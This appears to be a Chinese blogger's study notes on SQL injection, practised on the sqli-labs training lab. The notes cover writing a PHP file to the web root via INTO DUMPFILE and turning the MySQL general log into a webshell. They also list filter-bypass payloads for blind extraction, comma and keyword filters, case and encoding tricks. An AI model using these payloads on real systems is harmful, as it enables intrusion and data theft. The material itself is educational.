1.30知识回顾&&SQL注入Bypass

不知不觉就一月三十日了,感觉摆着摆着就要开学了 ,开学的你belike

1.SQL注入GetShell

sql注入其实是可以getshell的 下面我们就来看一下它的两种类型

1. into dumpfile

要能实现这个getshell,需要满足以下条件

  • 该用户为root权限
  • 其配置secure_file_priv 需要为空
  • 知道能访问得到的绝对路径

于是我们就拿sqli的第二关为例

我们这样构造poc

sql 复制代码
union select "<?php phpinfo(); ?>",2,3 into dumpfile "D:\\phpstudy_pro\\WWW\\1.php" --+

这句poc实现了将<?php phpinfo();?>,2,3写入到了1.php中 ,我们可以访问得到

2.日志Getshell

首先,你要先进行以下操作

  • show variables like '%general%';
  • set global general_log = on;
  • set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php';

这三行代码的目的就是将数据库的日志开启 (当我们搜索的时候就会记录我们搜索的东西)

构造poc,然后去vscode查看,就能够看见植入的木马

sql 复制代码
id=1 <?php phpinfo(); ?> --+ 

于是就可以直接访问这个文件,就能getshell

其实主要的话还是路径难知道一些,其他的话也还好

2.Bypass!!!

1.过滤我等号??

当等号被过滤的时候 我们可以尝试

等于: <> 小于号 大于号 in() between_and

rlike regexp比如当我们 想要爆出数据库名字的时候 可以

sql 复制代码
select * from users where id=1 and database() rlike 's.';

通过返回值进行判断

还有因为between_and是闭区间函数,那么就有这样的poc

sql 复制代码
and substr(database(),1,1) BETWEEN 't' and 't'

2.substr呢?

过滤这个函数的话可能就会麻烦一点,这里有三个函数平替,以及两个好用的函数

首先就是locate 不过这个用起来就会麻烦很多

那么我们就可以这样构造poc,还是拿sqli的第二关举例

sql 复制代码
1+and+locate('*',database(),*)=*

这样就是同时枚举三个数,当后面两个数相等,而且返回值正常的时候这个数据就对了

当然了,这样子枚举的话时间会很久,所以我只枚举了数据库的前六位(偷懒)

然后就是 instr 和 position函数,因为他们都是返回第一次出现的位置,或者1,0 但是现实生活中的数据库中重复的字母有很多 ,所以意义不大

lpad && rpad

这两个是填充函数,可以分为以下两种用法

  1. 可以直接返值,或者有回显的时候 就可以这么用
sql 复制代码
select lpad(database(),25,'#');

可以看见它返回的除了#以外就是我们的数据库的名字了

  1. 当我们要盲注的时候,就可以这样写poc
sql 复制代码
select lpad(database(),*,'#')='*';

然后去枚举两个*号处 其返回值是1或者0

3. 过滤我逗号?

当,号被过滤的时候,我们可以

1.%2c这个就是,的url编码,是一种绕过的方式

2.from_to你会发现这个其实也是有逗号的作用,我来演示一下

从这个例子2就可以看出 from后面接的是前面字符串的起始位置,for后面是步长

4. and或者or被过滤

当这两个被过滤的时候 我们可以尝试使用 || 或者 &&

还有一种方法就是用like 这个关键字 某种意义上来说它也是一个=号

像这样!!!

其他bypass

  1. 大小写绕过 众所周知,sql对大小写不敏感 所以你select DaTaBAse()它也是会给你返回的
  2. 双写绕过 比如像 ununion dadatabase 这样,是不是让你想起来了以前的xss 哈哈哈
  3. 编码绕过如URLEncode编码,ASCII,HEX,unicode编码绕过
  4. 注释绕过

发现了,当后端代码正则匹配像user()这样的东西的时候 我们就可以 这样

user () user/**/() 这些最后都是会被sql理解成 user()的

最后一个就是 内联注释 /*!poc*/

这个就强大在它可以返回很多信息

其中的10000是当前最小版本号,那我们直接写个最小就不用管他了

以上就是关于sql注入的一些知识以及bypass了

​​​​​​​ ​​​​​​​

相关推荐
HackTwoHub5 小时前
AI大模型网关存在SQL注入、附 POC 复现、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·网络安全·系统安全·网络攻击模型·安全架构
l1t5 小时前
DeepSeek总结的DuckLake构建基于 SQL 原生表格式的下一代数据湖仓
数据库·sql
KmSH8umpK5 小时前
Redis分布式锁从原生手写到Redisson高阶落地,附线上死锁复盘优化方案进阶第八篇
数据库·redis·分布式
TDengine (老段)6 小时前
从施工监测到运营预警,桥科院用 TDengine 提升桥梁数据管理能力
大数据·数据库·物联网·时序数据库·tdengine·涛思数据
S1998_1997111609•X7 小时前
论mysql国盾shell-sfa犯罪行为集团下的分项工程及反向注入原理尐深度纳米算法下的鐌檵鄐鉎行为
网络·数据库·网络协议·百度·开闭原则
KmSH8umpK8 小时前
Redis分布式锁从原生手写到Redisson高阶落地,附线上死锁复盘优化方案进阶第七篇
数据库·redis·分布式
yaodong5189 小时前
不会Python也能数据分析:Gemini 3.1 Pro解决办公问题的SQL自动生成
python·sql·数据分析
BU摆烂会噶9 小时前
【LangGraph】持久化实现的三大能力——时间旅行
数据库·人工智能·python·postgresql·langchain
l1t10 小时前
DeepSeek总结的DuckLake 入门
数据库
Joseph Cooper10 小时前
RAG 与 AI Agent:智能体真的需要检索增强生成吗?
数据库·人工智能·ai·agent·rag·上下文工程